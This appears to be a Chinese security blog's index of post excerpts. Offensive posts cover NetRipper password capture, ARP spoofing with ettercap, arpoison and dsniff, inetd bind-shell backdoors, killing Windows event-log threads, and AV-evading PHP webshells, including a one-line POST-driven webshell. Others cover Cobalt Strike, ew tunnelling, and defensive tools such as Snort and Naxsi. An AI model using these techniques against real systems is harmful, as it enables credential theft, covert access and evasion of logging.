截获内存中的各类https明文密码

0x01 利用 NetRipper 抓取内存中的https明文密码

    优点,可以在一个相对较低的系统权限下截获加密的明文,工具已经出了有些年头了,好在作者维护一直比较勤奋,才活到了现在,它支持截获像putty,winscp,mssql,chrome,firefox,outlook中的明文密码,同时也提供了很多类型的版本,如,win cmd下的exe,msf模块,ps脚本,实战中更推荐大家直接用powershell,更多详情请自行参考其github https://github.com/NytroRST/NetRipper

1
2
# powershell -exec bypass
PS> Import-Module .\Invoke-NetRipper.ps1
Read More

win & linux 本地提权脑图


宝刀未老之 ettercap 基础使用 [一]



0x01 关于ettercap

1
2
3
4
5
6
ettercap 确实已经非常老了,也确实是那个时代的经典,而且差不多三四年这个项目也都没再更新过了
对于一些防护并不是特别好的内网,依然非常实用,千万不要觉得工具老就没有它的应用场地,那样你就真的错了,如果真是这样,就不会有这么多的二次深度开发了
大家可能也发现了,像这类的工具我基本都是在模拟真实的生产机器环境上编译安装的
具体原因大家想必都很清楚,像这类基于二层的arp嗅探是没法直接在远程做的,毕竟不是直接处在目标的vpn内网中
socks代理再牛逼,它也只是个基于端口的四层代理,并不是vpn,所以,是没法直接在本地嗅远程的arp的,至于GRE隧道,咱们抽空再另说
话不多讲,直奔今天的主题,ettercap基础使用,注意,此次仅仅是基础使用

0x02 开启本地的路由转发

1
2
# echo 1 > /proc/sys/net/ipv4/ip_forward
# cat /proc/sys/net/ipv4/ip_forward

0x03 基础演示环境

1
2
3
CentOS release 6.9 (Final) x86-64 ip: 192.168.3.4 接口名称: eth2 ettercap所在机器
win2008r2 ip: 192.168.3.23
win7cn ip: 192.168.3.8

Read More

arp攻防之arpoison



0x01 依然是先开启本地的路由转发

1
2
3
# vi /etc/sysctl.conf
net.ipv4.ip_forward=1
# sysctl -p

0x02 演示环境

1
2
3
4
centOS 6.8 x86_64 mac: 00:0C:29:C4:A0:95 ip : 192.168.3.4
win7cn mac: 00-0C-29-3B-BF-A8 ip : 192.168.3.8
win2008r2cn mac: 00-0C-29-6C-55-D2 ip : 192.168.3.23
网关 mac: dc-ee-06-96-b7-b7 ip : 192.168.3.1

0x03 下载编译 arpoison

1
2
3
4
5
6
7
8
# yum install epel-release -y
# yum install libnet libnet-devel -y
# wget http://www.arpoison.net/arpoison-0.7.tar.gz
# tar xf arpoison-0.7.tar.gz
# cd arpoison-0.7
# gcc arpoison.c /usr/lib64/libnet.so -o arpoison
# cp arpoison /usr/bin/
# arpoison -h

Read More

熟练使用 dsniff套件 进行嗅探



0x01 嗅探之前,我们有必要先来大致回顾下arp和rarp的基本通信流程,假设现在交换机中的mac地址表中暂时还没有任何对应关系A机器想和B机器进行通信

1
2
3
4
5
arp 地址解析协议,即通过ip找对应的mac:
首先,A会先发arp请求[广播],向同一交换机下的所有其它机器询问,谁有B的这个ip
当B收到这条消息时,就会再用arp响应给A,说,我有这个ip,我的mac是多少...
当完成第一次正常通信之后就会在交换机的mac地址表中记录下这层指向对应关系
后续就直接按照mac地址表中已有的指向来通信,而不再用广播询问,这就是一次极为常规的arp通信过程

1
2
3
4
rarp 反向地址解析协议,即通过mac找对应的ip:
理解完arp以后,我们再来看rarp,同样是先发请求,这个请求简单来讲也是一个广播,不过,在此广播中声明了自己的mac
并请求任何收到此请求的rarp服务器分配一个ip,当同网段的rarp服务器收到此请求后会检查自己的rarp列表找到该mac对应的ip
如果此mac的ip被找到,就直接响应对方使用,如果没找到,最后就会提示初始化失败

0x02 关于arp欺骗最核心的细节

1
2
3
4
5
假设同一交换机下有三台机器,分别为 A , B , C,正常情况下B和C的通信数据,A是不可能看到的
但在ARP缓存表机制中存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己曾经是否向对方主机发送过ARP请求
就直接就把这个应答包中的IP与MAC地址的对应关系更新到自己本地的ARP缓存表中,这时就直接导致原有IP的对应关系被恶意替换
通俗点儿理解,也就是说,我强制刷新了对方的arp缓存对应关系,把原来ip的指向现在换成了我自己的地址
导致现在B和C的通信都要先经过A,那么,我们在A上自然就可以顺利的看到C和B之间的所有明文通信数据,即实现了所谓的监听

Read More

基于 inetd 后门的简要分析及利用



0x01 理解inetd是干什么的

1
2
3
4
5
通俗来讲就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,其实有很多比较古老的服务都是基于此守护进程的
具体怎么工作的呢,其实非常简单,当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序
然后再把接收到的这个socket交给那个程序去处理,问题恰巧也就出在这里
如果来自外部的某个socket是要执行一个可交互的shell [比如,我们已经在目标系统的inetd配置文件中事先定义好],这岂不是就相当于一个简易的bind型后门
另外,关于使用inet的好处就是,不用每个服务都再单独起个进程,这样可以有效降低系统资源消耗,你甚至也可以一定程度上把它理解成linux中的'svchost.exe'进程

Read More

蜜罐学习之ssh [ cowrie ]



0x01 蜜罐是什么

1
2
蜜罐其实就是一台无人使用但却被严密监控的网络主机,里面包含着各类虚假的高价值资源和一些已知漏洞,以此吸引入侵者来入侵该主机
并且在被入侵的过程中,实时记录和审计入侵者的所有入侵攻击流量,行为和数据,以此了解入侵者的攻击方式,手段和目的,便于后期快速完成对其的溯源,取证工作

0x02 蜜罐的一些主要构成模块
按实现大概逻辑划分:

1
2
3
控制,将入侵者牢牢控制在指定的网络范围中,使其不能再以此机器作为跳板来攻击其它的机器
捕获,把入侵者在入侵过程中所产生的各种流量捕获住
分析,将捕获到的各种数据存到数据库或者其它指定地方,便于后续还原其详细的入侵攻击过程

按具体实现过程划分:

1
2
3
监控各种主机项,如,进程,文件,注册表,网络...
同时提交给入侵检测,以识别其更详细的入侵手段,并对整个入侵过程做详细记录
入侵数据汇总分析,其实就是把上述两步所得到的各种数据进行集中分析,最后,勾勒出完整的入侵轨迹画像

Read More

win入侵日志处理之powershell



0x01 前言:

1
2
3
4
很久之前,我们说过如何利用win自带的wevtutil工具来处理各种入侵日志
但那有个很致命的缺点,就是删除的时候是一下全给干掉了,这很显然不是我们想要的
今天我们就再来介绍另外一种相对[只是相对比较好,个人认为也并不是特别好,但值得在此基础上改进]比较好的处理方式
也正是我之前说的利用powershell来帮我们搞,具体实现如下

0x02 首先,我们有必要先来简单了解下windows的svchost进程是干什么的

1
2
简单通俗来讲,svchost主要是用来实现服务进程数据共享,以此来减少系统资源消耗的这么一个东西,下面挂靠的程序可能同时有很多个
说白点,其内部其实是作为线程[核心就在这儿]来运行的,关于更详细的简介,可直接参考维基百科上对其的说明

0x03 如果实在想自己手工实现该功能的话,大体思路如下:

1
2
3
找目标系统中Win事件日志服务的进程名,一般都是在svchost下
并从该进程中获取所对应的Win 事件日志服务线程ID
想办法杀掉这些id所对应的线程,以达到让目标系统日志服务无法正常工作的目的,这样系统就无法再搜集日志了

Read More

全方位构造免杀 webshell 小结[一]



前言:
    本文几乎涵盖了市面上所有已知的webshell免杀手段,自己也很清楚,有些东西一旦公布出去,基本就活不太久了,但好在技巧是死的,人是活的,基于前人的优秀经验基础上所衍生出来的更加刁钻诡异的思路才是最珍贵的,始终坚信,对抗是持续的,shell也是永远杀不完的…


0x01 首先就是基于各类最常规的命令和代码执行函数的花样变形如,拆分重组,动态执行,以此来躲避静态特征检测,不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行系统命令[如,php7],万一再开了安全模式,就更费劲了

php中一些常见的执行类型函数:

1
2
3
4
5
6
7
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...

1
<?php $_POST['fun']($_REQUEST['req']);?>
Read More

cobalt strike 快速上手 [ 一 ]



0x01 关于 Cobalt Strike

1
2
3
一款非常优秀的后渗透平台 [ 谁用谁知道,嘿嘿……说不好用的唯一原因,可能就是很多用法还没有被自己挖掘出来,因为不会用,所以,才会感觉不好用 ]
工具基于java,大部分功能在改进的基础上还是相对比较实用的,非常适合团队间协同作战
更多详情请自行参考官网,这里就不啰嗦了,以下全部简称'cs'

0x02 基础环境简介:

1
2
3
4
5
kali 实际控制端 ip:192.168.1.144
ubuntu 16.04 自己公网的vps ip:53.3.3.6
win2008R2 目标机器 ip:192.168.1.191
centos6.9 已控肉鸡 ip:192.168.1.199
win7cn 另一台肉鸡 ip:192.168.1.123

0x03 先来快速预览cs最基本的一些模块具体用途:

团队服务器[teamserver]

1
2
3
4
主要是为了方便一个渗透团队内部能够及时共享所有成员的所有渗透信息,加强成员间的交流协作,以此提高渗透效率
也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战
当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况
另外,团体服务器最好运行在linux平台上[本次演示所用的团队服务器系统为ubuntu 16.04]

Read More

入侵检测学习 Snort [一]



0x01 关于Snort

1
2
3
业界相对比较出名年头也比较久的一款基于网络的开源入侵检测工具
不过,比较适合中小型网络 [在流量不是非常大的情况下还是很不错的选择],规则配置灵活,实战适用性相对较好
只是,实在不知道为什么要弄一头猪做logo,这文化差异大的有点儿着实让人无法理解 :)

0x02 理解snort的最基本的工作流程

1
2
3
内网中的数据 -> 数据嗅探[让内网中其它机器上的数据流过自己] -> 进行各种预处理[防止数据逃逸] -> 规则检测引擎 -> 处理报警/日志
| |
匹配规则库 存到数据库或者写到日志文件中

0x03 模块具体作用简介

1
2
3
4
数据包嗅探,让其它机器上的指定数据包都经过自己,以便snort分析数据,同样,用的也是libpcap库,包括在其它很多linux平台嗅探工具你都能看到它的身影
预处理,包重组预处理器,主要是为了防止攻击包被拆分逃避Snort的检测,另一个是协议编码预处理器,主要负责把数据包协议解码成一个统一的格式,再丢给检测模块,最后一个是协议异常检测预处器
规则匹配检测,也就是当预处理把数据包丢过来以后,规则引擎会将这些数据包逐个和规则库进行匹配,一旦发现数据包内容与某条规则匹配,就丢给报警模块去处理
报警/日志模块,规则引擎将数据丢给报警模块以后,报警模块会根据snort事先定义好的规则动作(alert,log...)对其进行不同的处理(写到数据库或日志文件中)

Read More

一分钟部署 MySql 多实例

0x01 到底什么是MySql多实例

1
2
3
说的通俗些,就是通过读取不同的my.cnf配置,同时启动多个mysqld进程,共用系统资源
这也就意味着,当其中一个实例并发较高或者慢查询较多的情况下,其它实例的性能也会因此受到很大的影响
这种情况通常用于机器性能较好且单实例mysql无法充分利用系统资源的情况下

0x02 此处,我们选择自己手工编译安装mysql-5.5.55,根据大家自己实际的机器性能,速度可能会稍慢些,请耐心等待

演示环境:

1
2
3
4
CentOS 6.8 x86_64 最小化,带基础环境库安装
eth0 ip: 192.168.3.51
eth1 ip: 192.168.4.19
eth2 ip: 192.168.5.19

安装mysql所需的各种依赖库并创建mysql的服务用户

1
2
# yum install ncurses-devel libaio-devel cmake bison -y
# useradd mysql -s /sbin/nologin -M

下载并编译 mysql-5.5.55

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# wget http://mirrors.sohu.com/mysql/MySQL-5.5/mysql-5.5.55.tar.gz
# tar xf mysql-5.5.55.tar.gz
# cd mysql-5.5.55
# cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql-5.5.55 \
-DMYSQL_DATADIR=/usr/local/mysql-5.5.55/data \
-DMYSQL_UNIX_ADDR=/usr/local/mysql-5.5.55/tmp/mysql.sock \
-DDEFAULT_CHARSET=utf8 \
-DDEFAULT_COLLATION=utf8_general_ci \
-DEXTRA_CHARSETS=all \
-DENABLED_LOCAL_INFILE=ON \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_FEDERATED_STORAGE_ENGINE=1 \
-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
-DWITHOUT_EXAMPLE_STORAGE_ENGINE=1 \
-DWITHOUT_PARTITION_STORAGE_ENGINE=1 \
-DWITH_FAST_MUTEXES=1 \
-DWITH_ZLIB=bundled \
-DENABLED_LOCAL_INFILE=1 \
-DWITH_READLINE=1 \
-DWITH_EMBEDDED_SERVER=1 \
-DWITH_DEBUG=0
# make && make install
# ln -s /usr/local/mysql-5.5.55/ /usr/local/mysql
# ll /usr/local/mysql/

Read More

定制轻量高效的WAF Naxsi [一]



0x01 关于naxsi
    同为开源waf,但跟Modsecurity的不同是,它对nginx的兼容性非常好,而且不依赖现有规则库其实,我们心里都很清楚,单单基于规则库的拦截可能需要经常更新,且容易被绕过,防御起来比较被动,naxsi安装定制都非常简单方便,占用系统资源相对较少,对实际业务的适用性更强[方便的白名单设置],有一定的学习能力,不过,实际测试中貌似暂时只能拦截从get或者post过来的数据,这也是个小遗憾

0x02 依然是拿之前编译好的lnmp环境[具体如何编译配置,请参考博客相关文章]来做演示,我这里先把之前的配置文件备份下,等会儿好直接拿过来用

1
php5.5.38 + mysql-5.5.32 + nginx-1.12.1 + centOS6.8_x64

1
2
3
4
5
# netstat -tulnp | grep "80"
# pkill nginx
# cp /usr/local/nginx/conf/nginx.conf ./
# cp /usr/local/nginx/conf/extra/bwapp.conf ./
# rm -rf /usr/local/nginx*

0x03 下载naxsi,重新编译安装nginx,主要是要把naxsi模块加载进去,这里的nginx直接用的最新版的稳定版本

1
2
3
4
5
6
7
8
9
10
11
# git clone https://github.com/nbs-system/naxsi.git
# wget http://nginx.org/download/nginx-1.12.1.tar.gz
# yum install pcre pcre-devel openssl openssl-devel -y
# useradd -s /sbin/nologin -M nginx
# tar xf nginx-1.12.1.tar.gz
# cd nginx-1.12.1
# ./configure --prefix=/usr/local/nginx-1.12.1 --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --with-file-aio --with-http_dav_module --add-module=../naxsi/naxsi_src/
# make && make install
# ln -s /usr/local/nginx-1.12.1/ /usr/local/nginx
# cd /usr/local/nginx/conf/
# mv nginx.conf nginx.conf.bak && egrep -v "^$|#" nginx.conf.bak >> nginx.conf

Read More

自己总结的常规入侵流程脑图


个人始终坚信,只有深入理解入侵者的真实想法,不断学习,并能轻松熟练地模拟出入侵者的各类入侵手段,才是最切实有效的防御

Read More

利用 ew 轻松穿透目标多级内网

0x01 ew 快速穿透目标多级内网:

简要环境说明:

1
2
3
win2008R2 假设为目标边界web服务器,可正常访问公网
假设其公网ip为 192.168.3.23
假设其内网ip为 192.168.32.131

1
2
win2008 假设为目标内网数据库服务器,可正常访问公网
假设其内网ip为 192.168.32.170
1
2
win7 假设为自己公网的vps
假设其公网ip为 192.168.3.232
1
2
centos 5.1 假设为目标内网的一台linux机器,没有dns不能访问公网
假设其内网ip为 192.168.32.169

0x02 首先,利用ew做最简单的正向代理,其实就是大家最常用的所谓的ss:

在 win2008R2 机器上执行

1
# ew_for_Win.exe -s ssocksd -l 1080

在win7上打开Proxifier根据上面监听的端口建立正常的socks代理即可

Read More